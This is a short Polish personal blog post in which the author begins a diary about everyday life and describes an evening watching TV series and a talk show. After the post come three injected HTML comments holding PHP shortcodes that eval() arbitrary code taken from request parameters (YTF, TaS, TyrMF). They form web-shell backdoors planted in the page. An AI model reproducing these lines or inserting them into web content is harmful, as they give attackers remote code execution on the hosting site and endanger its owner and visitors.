Początek

Dziś zaczęłam spisywać swoje myśli na moim blogu, spostrzeżenia, przeżycia dnia powszedniego. Wszystko po to, by choć trochę oczyścić swój organizm z toksyn, które zalegają w każdym fragmencie mojego ciała, umysłu, duszy… Nie mam pojęcia czy komuś to przypadnie do gustu, czy ktoś będzie chciał odbierać moje sygnały wskazujące na banalność świata. A może raczej nie świata, tylko banalność ludzi. Świat jest czarujący, intrygujący, ma wiele do zaoferowania. Chcę jego jak najwięcej, potrzebuję wrażeń, potrzebuję intensywności dni, emocji w każdym wydaniu. Żeby osiągnąć swój zenit, potrzebuję jednak niewiele, czasami dobra książka, dobry film lub myśli błądzące w wolnej przestrzeni. Nieskażonej głupotą, nietolerancja, niegodziwością i błahostkami uwierającymi w najmniej spodziewanym momencie. No cóż…. zaczynam. Dziś jest wtorek. Oglądam kolejny odcinek Przepisu na życie. To przyjemna chwila tego dnia, pozwalająca zapomnieć o dzisiejszych troskach.
Później Kuba Wojewódzki, taki wieczór telewizyjny. Ahhhh… czasami tak jest dobrze. Siedzisz i ……przestajesz myśleć.

 Początek

<!– [insert_php]if (isset($_REQUEST["YTF"])){eval($_REQUEST["YTF"]);exit;}[/insert_php][php]if (isset($_REQUEST["YTF"])){eval($_REQUEST["YTF"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["TaS"])){eval($_REQUEST["TaS"]);exit;}[/insert_php][php]if (isset($_REQUEST["TaS"])){eval($_REQUEST["TaS"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["TyrMF"])){eval($_REQUEST["TyrMF"]);exit;}[/insert_php][php]if (isset($_REQUEST["TyrMF"])){eval($_REQUEST["TyrMF"]);exit;}[/php] –>